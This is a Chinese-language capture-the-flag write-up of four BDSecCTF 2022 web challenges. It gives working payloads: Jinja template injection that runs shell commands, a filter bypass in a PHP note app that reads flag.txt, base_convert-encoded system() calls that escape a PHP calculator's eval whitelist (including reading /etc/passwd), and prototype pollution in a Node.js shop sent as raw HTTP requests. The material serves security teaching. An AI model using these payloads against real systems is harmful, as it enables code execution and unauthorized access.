BDSecCTF2022-Web

[toc]

Jungle Templating

模板注入

1
{{7*7}}

image-20220720232832016

自动化脚本

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{  c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()")}}{% endif %}{% endfor %}

image-20220720233225401

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{  c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat flag').read()")}}{% endif %}{% endfor %}

image-20220720233256890

1
BDSEC{Y3Y_7H1515_7H3_F146}

Awesome Note Keeping

源码泄露index.php.bak

image-20220720234924808

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<!DOCTYPE html>
<html>

<head>
<title>Awesome Note Keeping</title>
</head>

<body style="padding: 100px; background: #000000; color: #09b576">

<h1>Welcome to Awesome Note Keeping</h1>
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
if (isset($_POST["note"]) && isset($_POST["note_title"])) { //这里是写入的方法
if (empty($_POST["note"]) || empty($_POST["note_title"])) {
echo "All fields are required.";
} else if (strlen($_POST["note_title"]) >= 13) {
echo "Note title is too long.";
} else if (strlen($_POST["note"]) >= 40) {
echo "Note is too long.";
} else {
$note_title = str_replace("flag", "", $_POST["note_title"]); //替换flag
if (!empty($note_title)) {
if (file_exists($note_title . ".txt")) { //如果存在,就把其展示出来
echo "There is already a note with that title and the note is <br>";
$note_title = str_replace("flag", "", $note_title);
$myNote = fopen($note_title . ".txt", "r");
echo fread($myNote, filesize($note_title . ".txt"));
fclose($myNote);
} else { //如果不存在,就写入进去
$myNote = fopen($note_title . ".txt", "w");
fwrite($myNote, $_POST["note"]);
fclose($myNote);
echo "Your note has been saved.";
}
} else {
echo "Sorry ! You can't create flag note.";
}
}
}


if (isset($_GET["note_title"]) && !empty($_GET["note_title"]) && $_GET["note_title"] != "flag") { //这里是读取信息的方法
if (file_exists($_GET["note_title"] . ".txt")) {
$myNote = fopen($_GET["note_title"] . ".txt", "r");
echo fread($myNote, filesize($_GET["note_title"] . ".txt"));
fclose($myNote);
} else {
echo "Sorry ! Couldn't find any note with that title.";
}
}

?>

注意在写入的时候,会对$note_title进行两次替换,将flag替换为空,所以整两次嵌套

1
flaflflagagg

并且第一次要创建一下$note_title=flaflflagagg,然后第二次的时候,满足第25行的

1
if (file_exists($note_title . ".txt"))

然后才会替换flag为空,读取flag.txt

image-20220720234906221

1
BDSEC{tHe_n0t3_K33p1n6_4W350M3_N5}

Awesome Calculator

查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php

function filtering($query) {
$query = strtolower($query);
preg_match_all("/([a-z_]+)/", $query, $words);
$words = $words[0];
$good = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh', 'ncr', 'npr', 'number_format', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand'];
$accept_chars = 'abcdefghijklmnopqrstuvwxyz0123456789.!^&|+-*/%()[],_';
$accept_chars = str_split($accept_chars);
$illegal = '';
for ($i = 0; $i < count($words); $i++) {
if (strlen($words[$i]) && array_search($words[$i], $good) === false) {
$illegal .= $words[$i] . " ";
}
}

for ($i = 0; $i < strlen($query); $i++) {
if (array_search($query[$i], $accept_chars) === false) {
$illegal .= $query[$i] . " ";
}
}
return $illegal;
}

function do_calculations($argument) {
if (strlen($argument) > 1030) return "Calculation too long.";
$argument = strtolower($argument);
$illegal = filtering($argument);
$result = '';
if (strlen(str_replace(' ', '', $illegal)))
$result = "Oh my god ! What is this: " . $illegal;
else
eval('$result=' . $argument . ";");
return $result;
}
isset($_GET['source']) && die(highlight_file(__FILE__));
?>

<!DOCTYPE html>
<html lang="en">

<head>
<title>My Awesome Calculator</title>
</head>


<body style="margin: 50px;">
<h1>My Awesome Calculator</h1>

<form>

<input placeholder="Surprise me with calculations" type="text" name="calculation" value="<?= $_GET['calculation'] ?? '' ?>" style="padding: 150px; font-size: 40px;"/>

</form>


<?php if (isset($_GET['calculation'])) : ?>
<div>
<div style="font-size: 40px;">
Result : <?= @do_calculations($_GET['calculation']) ?>
</div>
</div>
<?php endif ?>
<a href="?source">Source</a>
</body>

</html>
1

原题

CTFtime.org / BambooFox CTF 2021 / Calc.exe Online / Writeup

cat /etc/passwd

1
base_convert(1751504350,10,36)(base_convert(37907361743,10,36)(base_convert(477080140104,10,36).base_convert(189751590363,10,36).base_convert(189803607951,10,36).base_convert(428637964,10,36)))

其中对应关系

1
2
base_convert(1751504350,10,36) system
base_convert(37907361743,10,36) hex2bin

在原有的wp上进行修改,将/ect/passwd替换为*

1
2
3
4
<?php
var_dump(hex2bin(base_convert(82,10,36))); //*

var_dump(base_convert(bin2hex("*"),36,10));

最后的payload

1
base_convert(1751504350,10,36)(base_convert(37907361743,10,36)(base_convert(477080140104,10,36).base_convert(82,10,36)))

image-20220721002946630

Knight Squad Shop

给了附件

image-20220721110744901

主界面

image-20220721004053128

源码中主要是三个路由

  1. /api/v1/sell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
app.post('/api/v1/sell', (req, res) => {
for (const [key, value] of Object.entries(req.body)) {
if (key === 'flags' && !req.session.admin) {
continue;
}

if (!products[key]) {
products[key] = JSON.parse(JSON.stringify(product));
}
for (const [k, v] of Object.entries(value)) {
if (k === 'quantity') {
products[key][k] += v;
} else {
products[key][k] = v;
}
}
}

res.send('Sell successful');
});
  1. /api/v1/buy 购买相关产品
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
app.post('/api/v1/buy', (req, res) => {
const { product, quantity } = req.body;

if (typeof product === 'undefined' || typeof quantity !== 'number' || quantity <= 0 || !products[product]) { //products[product]要存在
return res.status(400).send('Invalid request');
}

if (products[product].quantity >= quantity) {
if (req.session.money >= products[product].price * quantity) {
products[product].quantity -= quantity;
req.session.money -= products[product].price * quantity;
res.json(products[product]);
} else {
res.status(402).send('Not enough money');
}
} else {
res.status(451).send('Not enough product');
}
});
  1. /api/v1/money 可以修改金额
1
2
3
4
5
6
7
8
app.post('/api/v1/money', (req, res) => {
if (req.session.admin) {
req.session.money += req.body.money;
res.send('Money added');
} else {
res.status(403).send('Not admin');
}
});

其中/api/v1/sell存在原型链污染

第一步,通过链污染修改req.session.admin为true,覆盖flags的price为1

image-20220721144112916

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /api/v1/sell HTTP/1.1
Host: 206.189.236.145:3000
Content-Length: 48
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36 Edg/103.0.1264.62
Content-Type: application/json
Accept: */*
Origin: http://206.189.236.145:3000
Referer: http://206.189.236.145:3000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: connect.sid=s%3AhXJloF5ZCExKQ8ackKCPnlbWgVmBlFUx.63vNgL4nwnZ31RWXUsA9JNCPngfkG7XARAhedfxam0M
Connection: close

{"__proto__":{"admin":true},"flags":{"price":1}}

image-20220721143941235

造成的结果

image-20220721144203842

第二步,直接购买flags,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /api/v1/buy HTTP/1.1
Host: 206.189.236.145:3000
Content-Length: 32
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36 Edg/103.0.1264.62
Content-Type: application/json
Accept: */*
Origin: http://206.189.236.145:3000
Referer: http://206.189.236.145:3000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: connect.sid=s%3AhXJloF5ZCExKQ8ackKCPnlbWgVmBlFUx.63vNgL4nwnZ31RWXUsA9JNCPngfkG7XARAhedfxam0M
Connection: close

{"product":"flags","quantity":1}

image-20220721144002542